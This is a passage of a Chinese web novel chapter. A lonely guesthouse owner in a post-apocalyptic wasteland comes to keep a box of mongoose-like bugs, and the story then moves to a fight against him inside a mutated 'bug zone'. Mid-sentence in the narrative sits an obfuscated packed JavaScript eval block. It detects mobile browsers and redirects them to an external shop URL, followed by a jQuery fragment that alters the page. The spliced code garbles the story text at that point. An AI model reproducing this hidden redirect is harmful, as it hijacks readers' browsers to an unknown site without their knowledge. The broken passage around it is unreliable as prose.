“啊?宠物就是宠物啊……就是养在家里,有了它,会觉得生活少了很多孤独,它们无条件爱着你、需要你,会随机地刷新在你房间各个角落给你制造惊喜。当然有时候也干些坏事,比如翻乱你的垃圾桶、抓坏家具,让人很头疼……但更多的是温暖,毛孩子会让你体验到爱、责任和生命是一体的。唉,我没有想到这个世界生存是这么艰难的事,我都快养不活自己了,它们能跟着你也是福气,起码你有房。” “我不懂你说的宠物是什么。它们是獴虫,一旦进化就会产生污染区,被治安局发现,轻则驱逐、重则杀死,我很讨厌麻烦,你卖给别人吧。” “……切,无聊的老头,一点人味都没有,跟原住民一样讨人厌。” 李杰开门,发现被那人遗弃在他民宿门口的木箱子。 不能被发现。 被治安局看到就出事了。 他把箱子带进了屋子。一共六只,个头极小,都是微进化体,所以那个新人能够轻而易举地抓住它们。 温馨民宿平日里基本没有什么客人。加上稽查部的人偶尔会过来住宿,周围的人虫都厌恶他,他每天都过得很清静,生活里不存在什么麻烦。唯一的麻烦就是这箱獴虫。 穿过狭窄的过道。 登上昏暗的楼梯。 温馨民宿一共有28个房间,尽数归他所有。一半的房间从开业至今都没有人住过,床单每天他都有换下吹洗,确保干净整洁,即便如此,他也没有随便选一间住宿。 他有固定的卧室,在四楼,里面的摆设布置和他风城的家一模一样,睡了三十多年,他已经习惯了所有家具必须在正确的位置。 即便是白天,房子内还是很暗,因为没有窗。但他熟悉地进入了自己的房间,开灯,径直地走向书桌,拿出雕刻用的刀子准备动手。 他再度掀开箱子。灯光从刀上滑过,折射进那些獴虫的眼睛里。它们惊慌失措,围在一起,将其中一只獴虫护在正中央。它跟其他獴虫长得不一样——它怀孕了。 刀尖靠近,有3只獴虫主动上前一步,用它们瘦弱的爪子去推美工刀。一下一下地推。 真的很瘦小。 活了52年,他下过的虫域不再少数,第一次见攻击力这样低下的虫。真不知道它们是怎么活下来的。 他没有马上动手。因为今天民宿也没有客人,他只是怕麻烦,不想事情被人抖出去,所以他只要在客人来之前杀掉它们就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834320|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行了。 他拎着刀子坐回书桌旁边——在那人敲门之前,他正在做新的蜥蜴虫骨雕,才做到一半,药水泡完后还有点残渣没有剃干净。于是,他专心致志地忙了起来。 等新的骨雕做好,他突然听到了床上传来了动静。 那几只獴虫不知道什么时候从箱子里逃出来了。怀孕的那只现在正躺在他的枕头上,鼓着小肚子,另外几只将她护在背后,抬着小脑袋盯着忙碌的他,跟随着他手里的动作,偶尔看看刀尖。 “下去。”李杰板着脸道,抬手要把它们赶下去。 而獴虫们故技重施——它们举着手和他对抗,即便,这根本构不成任何威胁。 “它们会随机地刷新在你房间各个角落给你制造惊喜。” 那人的话浮现在他的脑海。 宠物……吗? 他没有养过,没有任何的饲养经验。废土之上只有生存斗争,争夺水源、食物以及优质的进化基因,人与人虫,人与其他生物,狩猎与被狩猎的关系才是李杰52年熟悉的关系,他并不能好好理解饲养关系。 不过,有人可能知道要怎么养宠物。 他开门出去,把门锁好,接着进入了隔壁的储藏间,打开还算鼓鼓囊的编织袋,从里头掏出两颗土豆。一颗土豆价值1000贡献点,他的民宿收费80贡献点一晚,要半个月才买得起两颗。 他带上土豆,朝楼上走去,敲开了楼上的门。 “笃,笃。” 里面传来了慌乱的动静,乒乓一阵响,好一会儿门才被打开,一颗小脑袋探出来,怯生生道:“房东,你又被吵醒了吗?刚才张凡真的没有在玩弹珠,真的,他很乖的!” 李杰:“……” 这个人虫叫小莲,住进来一个月了。 周远泽把她带来的时候,说她很乖巧听话,给他打打下手没有问题。周远泽有时候说话挺真的,小莲确实不惹事。 但她太安静了,安静到李杰常常忘了楼上住着人。 有时候他雕骨头雕到一半,突然会觉得这份安静渗入了他的骨头里,冷得他透不过气。 这很奇怪,因为52年的每一天他都是这样过来的,杀人虫、下虫域或工作、黑市交易换贡献点、回家睡觉,这就是他生活的全部,这也是废土其他人类生活的全部。他从来都不觉得有问题。 可是,小莲来了以后,他竟然会开始觉得他的民宿过分安静。 有好几次,他找上门说张凡玩弹珠吵得他睡不着,这样小莲就会跟他说上几句话,而这些话很可能是他一天、十天内仅有的说话内容。 “知道了。”李杰这么回道。 他低头看小莲。她虽然只有十三岁,但好歹也是人虫,按照那个人的说法,人虫都知道宠物是什么,那么也会知道要怎么养。 最终他什么都没有问。算了,万一他等下就把那些獴虫杀了呢? 他留下土豆就下楼了。 回到房间就动手,他想。门一打开,原本在他床上享福的獴虫,有几只来到了门口,壮着胆子打量着他。有一只甚至爬到了他的书桌上,好奇着打量着刚刚雕好的骨雕。 李杰:“……” 他又去储藏室里取来了两颗土豆。 先喂着。 客人入住之前再杀了它们,也来得及。 记忆碎片嵌入进黎歌的情绪,在迷幻的视线里,胸腔也跟着记忆里的人的情绪变得空空落落。 还有很多很多碎片,那些孤独的日子,那些宁静被打破的日子,雕刻成了李杰现在的模样。现在产床上沉醉于痛苦的幸福之中的他,与他下定决心跟獴虫融合、把温馨民宿变成虫域时的表情一模一样。 黎歌看到他在笑,跟相册全然不同的笑。 他说:“我要爱,我要很多很多很多很多爱。” 39. 温馨民宿09 所以,为什么一定要毁掉虫域呢? 生命与生命之间不是平等的吗? 人类但凡少一点傲慢,给低阶的生命留下生存空间,尊重与我族类截然不同的生存模式…… 你…… 差不多得了啊…… 黎歌举着拳头,撞击着自己迷蒙的脑袋。她看见自己躺在产床上,脸上洋溢着自己从未见过的平和和幸福,一只手扶着破裂的肚子,另一只手爱怜地安抚着旁边的獴虫。 她说:“我说的不对吗?你愿意闯进来,不也是因为你关心和怜惜那些比你弱小的人吗?” 她说:“这世界上的人如果都和你一样,这世界就不存在霸凌、隔阂,人类与人类能真正地贴近彼此,孤独将消亡,而我们终会融为一体。” 我说差不得了啊!黎歌停止整理自己飘忽的精神。 这是她感受最明显的一次精神污染。 因为对方确确实实举着真善美大砍刀在进攻她的精神。 她抓着墙上的瓣膜,抠住那些湿润的肉壁以防坠下去,棕色的重瞳在她眼球里不停地颠倒着位置。 她现在精神很糟糕,但是没糟糕到忘了自己叫什么。 “你哪有你说得那么伟大?”汗水划过黎歌的眼睛,掩不住鄙夷地看向产床上的人,道,“你之所以闯进来,不是想着抢走一些重点物资,带出去变卖贡献点吗?” 产床上,她的笑凝固了:“你不同情李杰吗?” 黎歌有点不好意思:“你怎么不同情自己呢?他是孤儿,你也当仁不让。” 幻象消失了,李杰面无表情地盯着黎歌这个入侵者。 精神融合宣告失败。 【精神值:39(伟大的全知者,请立刻返回安全区!)】 精神值一跌再跌。 满屋子的肉色氤氲着一层肉粉色的雾,黎歌这时才察觉到异常,她晃了晃凌乱的脑袋,看到李杰肚子上那只阿尔法獴正在抽烟……不是,在吐雾! 这就是他生出来的“孩子”——一团雾。它是邮差在帖子里提到的虫雾,有催熟作用,目的是要把生物习性植入进新成员。 这口雾吸进去,黎歌甚至听到了自己思路转动时的咔咔声。不知道这是不是代表她正在虫化,一旦精神值跌破30,她就要沦落为虫域的一部分,就像李杰这样…… “我不想杀人虫,乖乖变成我们的一部分不好吗?”他问。 黎歌又拍了两下自己的脑袋,试图制造一点不太疼的疼痛来恢复清醒。但这并不管用。这会儿说话的声音也像是舌尖飘出去的,反正不受大脑的管控:“我倒是不拒绝,当一只獴虫也挺可爱的。主要是你左一句平等右一句大爱无疆,太让我出戏了。” “就在你虫域外10公里不到的便利店门口,有人饿到去打劫,被人杀死了。我现在对人类的厌恶有五层楼那么高,你问我愿不愿意贴近人类?” 当然不。 毕竟,不是所有人类都能被称之为人类。 黎歌翻身,利爪切破空气的撕裂声在她刚才站立的位置响起,一只哨兵獴刚从后发绕过来,险些就得手了。 看来招安不行,李杰打算要杀她了。 掌中抓着的肉壁突然陷了进去,这个胃囊正在试图把她吞进去、压扁、消化,然后制作成刚才那样的肉块供虫域内的獴虫食用。 黎歌本就靠着一只手攀着墙,这下动弹不得了。 而对面的哨兵獴举着爪子看着她。 它身体的一半覆盖着黑色的物质,看上去很坚硬,反光的模样十分眼熟——这是蝎虫的壳,这只獴虫融合了一部分蝎虫的基因。 以鳌钻的硬度,她可能挨不住一下。 她被逼进了命运的墙角,完全退无可退了。 黎歌并不想走到这一步。 但是不得不走。 胃囊既然是活的,也该算一种生物吧? 【你打开了僵尸鼠的基因样本,释放了鼠疫。】 【效果描述:你打开了潘多拉的宝盒,生命从被你碰触那刻开始枯萎,你接触到的一切生物将生锈。你拥有了创造活死人的能力,它将获得你1/10的战力值,进入暴走的猎食模式。】 被吞进一半的手掌率先感受到了铁锈的气息,锈迹以肉眼可见地速度蔓延,从底部渗透出来,追逐着黎歌被困住的手腕,锈迹爬过每一寸毛细血管,步步蚕食。 黎歌抖了抖手腕,胃囊变成锈片一片片从她手掌剥落。 而这锈迹势不可挡,好像放置在白纸上的火星,烫出了一粒生息后,锈迹往四周吞噬过去。 恶心的肉壁节节败退,她贴着的墙壁恢复了原来的颜色。 “你的祝福能力是生锈?!避开她的手!”李杰在产床上指挥道。 手吗?黎歌迟钝地看了眼自己的手掌,满屋子乱飘的狙击点正中央锁定了四只獴虫,分别处于她的正前方、右下方、产床前方以及小莲的身后,这些獴虫一半的皮毛附着黑色外骨骼,有一只长出了蝎尾,这应该是哨兵獴中最强的四只,它们试图隐藏自己的行踪,然后在不经意地瞬间扑倒她。 她想试试第二个效果。 比速度的话自己不一定占优势,虫雾越来越浓了,自己吸了满心肺的催熟剂,也不够时间与这么多獴虫周旋。 这些念头一闪而过,黎歌松开了她的手,直直地从天花板坠了下去。 以最接近疯狂地速度摔落,笔直朝产床冲了过去。 甩手打中了行动更加迟缓的保姆獴! “咕噜咕噜咕噜……” 房间里开始充斥混乱的叫声。 被感染的保姆獴抬起爪子冲向最近的同伴,双目已然猩红,它凶残无比,六亲不认,上前一步揪着同伴的下巴开始往上推,推推推…… 因为她的战斗值总共108。 1/10意味着10点战力值,这个战力值连70岁老奶奶都打不过,直接将这些獴虫从超级进化版变成了野生版。 产床边的獴虫互相揪着对方脖子,进行着毫无杀伤力的赤膊战。精神值行将告罄,随便点动静都能让黎歌的心情好起来。现在,主动权拿回来了一点。 在哨兵獴大量往回防守时,黎歌扭头又往外跑。 拎着钢刀冲向了最末尾那只哨兵獴。 正是先前在墙上与她对峙的那只,因为回防的晚,现在,它是唯一一只落单在外圈的獴虫。 不会再有更好的机会了。 黎歌选择战斗。 她跟霍青山学过格斗,那时候她给的描述是希望这些技能足够打倒成年壮汉,现在她知道在真正战力惊人的虫面前,体型根本构不成优势。 这只哨兵獴只有她的膝盖高,完全可以跟上她进化后的速度,黎歌才刚弯腰躲过它的攻击,狙击点在它的身边以每秒数十下的速度闪动着,要十分吃力才能捕捉到它行动的缝隙。 可那八只爪子尽数硬度堪比钻石,所谓的缝隙也充斥着风刃。 一道风刃溢出来,黎歌看得清清楚楚,举着钢刀格挡,风刃瞬间将钢刀劈成了两截,直接削进了黎歌的肩膀! 鲜红的血液霎时溅了出来。 疼疼疼疼……看穿了、躲过了,但是武器的悬殊让这场战斗局势倒向一边。黎歌迎着风刃,干脆地翻身精准地将断裂的刀捅入獴虫柔软的腹部——撞在了结实的螯甲上! 有火花从碰撞面炸开,发出了巨响!铛! 包括李杰在内,这个房间的生物都陷入了迷茫之中。没人能猜到这个人虫想要做什么。鲜血不停地溅出来,她似乎想要赤手空拳打赢哨兵獴。 “我不理解……”李杰喃 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“哈哈……哈哈……” 李杰将视线转移到他的哨兵身上——哨兵獴抬着爪子僵在原地,锈迹从他的背部开始扩散。那里被鳌甲所覆盖,以至于最初的时候,根本没有人发现它的异常。 直到锈迹蔓延到了它的胳膊,然后它就像年久生锈的铜像那样,裂开了。 黎歌的笑声冲破了身体的痛苦。 “一次,我赌的就是一次。只有能碰到你一次,你就必死无疑!” 疯子! 李杰肚子上的伤口已经开始一层一层往回愈合,他有了愤怒的力气:“你废了半条命,才杀掉一只哨兵,同样办法你以为还能用第二次吗?” 笑得太用力,一下子扯得伤口疼得不行了,黎歌不得不停下来,将自己歪扭的上身稍稍掰正。 她略带同情地看着李杰:“这么久了,你就没有发现这个房间有什么异常吗?” 李杰:“你别以为能骗……” 话说到一半,李杰差点把自己的舌头给咬了。 黎歌背后的那面墙,所有的肉壁都消失了。胃囊被她的生锈能力侵蚀,尽数剥落掉在了地上。 露出了后面密密麻麻不规则的出口。 她拖延时间只是为了让锈迹蔓延得更广…… 胃囊将整座民宿的结构分割成了奇形怪状的空间,像墙壁里的气孔,有大,有小,当从正门进入时,人们以为自己走进了规则的建筑内,实际上却各自被塞入不同的孔洞,错位的、叠加的,蠕动的胃囊给了他们逃不出这座民宿的错觉。 从她破坏掉第一块肉壁时,她就有了类似的猜想,事实验证了她的想法是对的。 而此时此刻,她就坐在通往外面世界的唯一出口正下方。 【支线任务二:你已找到出口,请尽快逃离温馨民宿,进度90%。】 【精神值:33(你已濒临虫化,警告,你已濒临虫化)】 现在,只要逃出去就可以了,不用被虫化,也不会死。 小莲还在产房的另一侧,她呆呆地站着,眼神里饱含着恐惧的泪水,双脚沾满了肉块,被控制得无法动弹。 救不了她了。 无论是为了完成任务,或者应周远泽的要求。 救世主不是谁都能当的。 黎歌撑着墙壁,将自己破破烂烂的身体支起来。 一滴血掉落,溅在她的识海里。 平坦的识海内部升起了无数细胞,血红地呼吸着,每一次抖动,都给她造成一轮晕眩,血液被迅速地加热,一瞬间,她感觉自己像泡在了岩浆里。 【伟大的全知者,你已解锁祝福技能:听谛】